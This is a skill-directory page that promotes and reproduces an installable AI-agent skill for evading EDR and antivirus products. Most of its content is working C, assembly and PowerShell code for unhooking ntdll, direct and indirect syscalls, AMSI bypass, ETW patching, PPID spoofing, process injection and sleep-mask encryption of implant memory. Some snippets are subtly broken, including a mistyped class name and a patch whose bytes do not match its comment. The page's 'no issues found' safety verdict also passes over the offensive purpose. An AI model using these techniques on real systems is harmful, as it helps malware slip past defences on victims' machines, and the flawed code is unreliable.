edr-evasion
Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion
Install / Use
npx skills add hypnguyen1209/offensive-claude --skill edr-evasionInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
SecuritySupported Platforms
Tags
Our assessment of edr-evasion
edr-evasion scores 91/100 on our quality scale, 470th of 1,096 Security skills we index (top 43%).
Its SKILL.md is 21 KB long, well organised into 44 sections with 29 code examples: a thorough specification that gives an agent plenty to work with.
It has 377 GitHub stars, a meaningful sign that others use it.
Maintenance, license and trust
- The repository was last updated 14 days ago, so edr-evasion is actively maintained.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands.
Automated pattern scan on 2026-10-05. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
edr-evasion compared with similar skills
All 4 of these similar skills score higher than edr-evasion; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| edr-evasion (this skill)by hypnguyen1209 | 91 | 377 | 14d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 12d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 12d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 130.2k | 13d ago | SKILL.md |
| ui-ux-pro-maxby nextlevelbuilder | 100 | 130.2k | 13d ago | SKILL.md |
Frequently asked questions
- How do I install edr-evasion?
- Run
npx skills add hypnguyen1209/offensive-claude --skill edr-evasion. The install tabs above show the steps for each supported agent. - Which AI agents does edr-evasion work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is edr-evasion safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is edr-evasion still maintained?
- The repository was last updated 14 days ago, so edr-evasion is actively maintained.
Skill content
View source on GitHubname: edr-evasion description: Use when bypassing EDR/AV to run a payload — hook unhooking, direct/indirect syscalls, PPID spoofing, process injection, AMSI bypass, ETW patching, memory/sleep encryption, behavioral evasion metadata: type: offensive phase: evasion tools: syscall-stubs, ntdll-unhooking, amsi-patch, etw-patch, process-hollowing kill_chain: phase: [delivery, install] step: [3, 5] attck_tactics: [TA0005] depends_on: [exploit-development, shellcode-dev] feeds_into: [red-team-ops, initial-access] inputs: [edr_product, payload] outputs: [evasive_payload, bypass_technique]
EDR Evasion
When to Activate
- Planning EDR bypass during red team engagements
- Researching AV/EDR evasion techniques
- Developing implants that must survive endpoint detection
- Testing detection capabilities of security products
Fundamentals
AV vs EDR
Antivirus (preventive):
- Static analysis: matching known signatures in files
- Dynamic analysis: limited behavioral monitoring/sandboxing
- Effective against known threats, weaker against advanced attacks
EDR (proactive & investigative):
- Continuous endpoint monitoring
- Behavioral analysis at kernel level
- Anomaly detection and post-compromise visibility
- Prioritizes incident response and investigation
Windows Execution Flow
Application → DLL (kernel32/ntdll) → Syscall → Kernel (ntoskrnl)
↑
EDR hooks here
(userland hooks in ntdll)
Hook Unhooking
Userland Unhooking (ntdll.dll)
EDRs hook ntdll functions by replacing the first bytes with a JMP to their inspection code.
// Method 1: Map fresh ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID freshNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Get .text section of loaded ntdll
HMODULE loadedNtdll = GetModuleHandleA("ntdll.dll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)loadedNtdll;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)loadedNtdll + dosHeader->e_lfanew);
PIMAGE_SECTION_HEADER textSection = IMAGE_FIRST_SECTION(ntHeaders);
// Overwrite hooked .text with clean copy
DWORD oldProtect;
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
(LPVOID)((BYTE*)freshNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize);
VirtualProtect((LPVOID)((BYTE*)loadedNtdll + textSection->VirtualAddress),
textSection->Misc.VirtualSize, oldProtect, &oldProtect);
// Method 2: Map from KnownDlls (avoids disk read)
HANDLE hSection;
UNICODE_STRING name;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
OBJECT_ATTRIBUTES oa = { sizeof(oa), NULL, &name, 0, NULL, NULL };
NtOpenSection(&hSection, SECTION_MAP_READ, &oa);
PVOID freshNtdll = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(hSection, GetCurrentProcess(), &freshNtdll, 0, 0, NULL, &viewSize, ViewUnmap, 0, PAGE_READONLY);
Kernel-Level Unhooking Detection
Some EDRs use kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) — these cannot be bypassed from userland alone. Requires:
- BYOVD (Bring Your Own Vulnerable Driver) to unload/disable kernel callbacks
- Direct kernel object manipulation (DKOM)
Direct & Indirect Syscalls
Direct Syscalls
Skip ntdll entirely — call the syscall instruction directly:
; NtAllocateVirtualMemory syscall (Windows 10 21H2)
mov r10, rcx
mov eax, 0x18 ; syscall number (varies by Windows version!)
syscall
ret
Tools: SysWhispers3, HellsGate, HalosGate, TartarusGate
Indirect Syscalls
JMP to the syscall; ret instruction inside ntdll (avoids "syscall from non-ntdll" detection):
; Find syscall;ret gadget in ntdll
mov r10, rcx
mov eax, SSN ; System Service Number
jmp [ntdll_syscall_ret_addr] ; JMP to syscall;ret in ntdll
Why indirect: Some EDRs check the return address of syscalls — if it's not within ntdll's address range, it's flagged.
SSN Resolution
// HellsGate: read SSN from ntdll function prologue
// Clean function: mov r10, rcx; mov eax, SSN; ...
// Hooked function: jmp <hook_addr> (first bytes replaced)
// HalosGate: if hooked, look at neighbor functions (SSN ± 1)
// TartarusGate: walk further neighbors if immediate ones also hooked
AMSI Bypass
# Patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Alternative: patch in memory
$a=[Ref].Assembly.GetType('System.Management.Automation.A]msiUtils')
$b=$a.GetField('amsiContext','NonPublic,Static')
[IntPtr]$ptr=$b.GetValue($null)
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
// C implementation: patch AmsiScanBuffer
HMODULE amsi = LoadLibraryA("amsi.dll");
LPVOID addr = GetProcAddress(amsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(addr, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
// xor eax, eax; ret (return S_OK with AMSI_RESULT_CLEAN)
memcpy(addr, "\x31\xC0\x05\x4E\xFE\xFF\xFF\xC3", 8);
VirtualProtect(addr, 6, oldProtect, &oldProtect);
ETW Patching
// Patch EtwEventWrite to immediately return
// Blinds .NET CLR logging, PowerShell ScriptBlock logging
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // ret
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
PPID Spoofing
// Make process appear to be spawned by explorer.exe
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
LPPROC_THREAD_ATTRIBUTE_LIST attrList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
InitializeProcThreadAttributeList(attrList, 1, 0, &size);
HANDLE hParent = OpenProcess(PROCESS_ALL_ACCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(attrList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXA si = { sizeof(si) };
si.lpAttributeList = attrList;
PROCESS_INFORMATION pi;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NO_WINDOW,
NULL, NULL, &si.StartupInfo, &pi);
Process Injection Techniques
| Technique | Stealth | Notes | |-----------|---------|-------| | CreateRemoteThread | Low | Heavily monitored | | NtQueueApcThread (Early Bird) | Medium | APC before thread starts | | NtSetContextThread | Medium | Hijack suspended thread | | Module Stomping | High | Overwrite legitimate DLL .text | | Phantom DLL Hollowing | High | Map section, overwrite | | ThreadlessInject | Very High | No new threads created | | Process Hollowing | Medium | Unmap + remap | | Transacted Hollowing | High | NTFS transactions |
ThreadlessInject Pattern
1. Find target process with suitable DLL loaded
2. Locate exported function that's rarely called
3. Overwrite function prologue with: push shellcode_addr; ret
4. Wait for natural execution of that function
5. No CreateRemoteThread, no APC — completely threadless
Memory Encryption (Sleep Masking)
// Encrypt beacon memory during sleep to avoid memory scanners
// Cobalt Strike: set sleep_mask "true" in profile
// Custom implementation:
void SleepEncrypt(DWORD sleepTime) {
// 1. Encrypt all RX sections with XOR/RC4
BYTE key[16]; GenerateRandomKey(key);
EncryptMemory(beaconBase, beaconSize, key);
// 2. Change memory protection to RW (no execute)
VirtualProtect(beaconBase, beaconSize, PAGE_READWRITE, &old);
// 3. Sleep
SleepEx(sleepTime, FALSE);
// 4. Restore RX and decrypt
VirtualProtect(beaconBase, beaconSize, PAGE_EXECUTE_READ, &old);
DecryptMemory(beaconBase, beaconSize, key);
}
Behavioral Evasion
Sandbox Detection
// Check indicators before detonation:
// - Domain joined? (GetComputerNameEx)
// - RAM > 4GB? (GlobalMemoryStatusEx)
// - CPU cores > 2? (GetSystemInfo)
// - Disk > 60GB? (GetDiskFreeSpaceEx)
// - User interaction? (GetLastInputInfo — idle time)
// - Known sandbox usernames? (John, sandbox, malware, virus)
// - VM artifacts? (VMware tools, VBox Guest Additions)
Execution Guardrails (Keying)
// Only execute on intended target — prevents sandbox analysis
// Key to: domain name, username, hostname, MAC address
char computerName[256];
GetComputerNameA(computerName, &size);
BYTE key[32];
SHA256(computerName, strlen(computerName), key);
// Use key to decrypt payload — wrong machine = garbage output
Advanced: Sleep Obfuscation Techniques
Ekko (Timer-Based)
// Use NtCreateTimerQueue + NtSetTimer to encrypt/decrypt beacon memory
// Flow: Set timer → encrypt memory → change to RW → sleep → timer fires →
// change to RX → decrypt memory → resume execution
HANDLE hTimerQueue = NULL;
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD);
// Timer callback chain:
// 1. NtContinue → capture context
// 2. VirtualProtect → RW
// 3. SystemFunction032 (RC4 encrypt) → encrypt beacon
// 4. WaitForSingleObject → actual sleep
// 5. SystemFunction032 → decrypt beacon
// 6. VirtualProtect → RX
// 7. NtContinue → resume execution
// Key: all operations happen in timer thread — main thread is suspended
// EDR sees: legitimate timer callbacks, not suspicious API sequences
Zilean (APC-Based)
// Queue APCs to current thread for sleep obfuscation
// Each APC performs one step of the encrypt-sleep-decrypt chain
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_READWRITE);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 encrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)WaitForSingleObject,
hEvent, sleepTime, 0);
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)SystemFunction032,
&img, &key); // RC4 decrypt
NtQueueApcThread(GetCurrentThread(), (PPS_APC_ROUTINE)VirtualProtect,
beaconBase, beaconSize, PAGE_EXECUTE_READ);
// Trigger APC execution
NtTestAlert();
DeathSleep (Thread Pool)
// Abuse Windows thread pool for sleep obfuscation
// Register work items that handle encrypt/sleep/decrypt
// Thread pool threads are inherently trusted by EDRs
TP_CALLBACK_ENVIRON callbackEnv;
TpInitializeCallbackEnviron(&callbackEnv);
// Create thread pool work items for each step
CreateThreadpoolWork(EncryptCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(SleepCallback, &ctx, &callbackEnv);
CreateThreadpoolWork(DecryptCallback, &ctx, &callbackEnv);
// Submit and wait — execution flows through ntdll thread pool
SubmitThreadpoolWork(encryptWork);
WaitForThreadpoolWorkCallbacks(decryptWork, FALSE);
Gargoyle (ROP-Based Non-Executable Sleep)
// Mark all beacon memory as non-executable during sleep
// Use ROP gadget to re-mark as executable and resume
// Key: beacon exists only as RW data while sleeping — invisible to memory scanners
// 1. Build ROP chain on stack:
// VirtualProtect(beacon, size, PAGE_EXECUTE_READ, &old)
// JMP beacon_entry
// 2. Set timer with callback = stack pivot gadget (xchg rsp, rax; ret)
// 3. VirtualProtect beacon to PAGE_READWRITE
// 4. Encrypt beacon memory
// 5. Sleep (WaitForSingleObject)
// 6. Timer fires → stack pivot → ROP chain executes → beacon decrypted and RX
Advanced: Stack Spoofing
SilentMoonwalk (Full Stack Spoofing)
// Problem: EDRs walk the call stack on API calls — suspicious return addresses flagged
// Solution
Truncated for display — read the full file on GitHub.
Related Skills
algorithmic-art
177.9kCreating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems.
pptx
177.9kUse this skill any time a .pptx or .potx file is involved in any way — as input, output, or both. This includes: creating slide decks, pitch decks, or presentations; reading, parsing, or extracting text from any .pptx or .potx file (even if the extracted content will be used elsewhere, like in an em…
design
130.2kComprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini, Atlas Cloud, or MuAPI AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social/ads/web/print), icon design (15 styles, SVG…
ui-ux-pro-max
130.2kUI/UX design intelligence for web, mobile, and desktop. This skill should be used when designing, building, reviewing, or fixing interfaces, including pages, components, design systems, accessibility, interaction, responsive layout, typography, color, charts, and stack-specific UI implementation.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
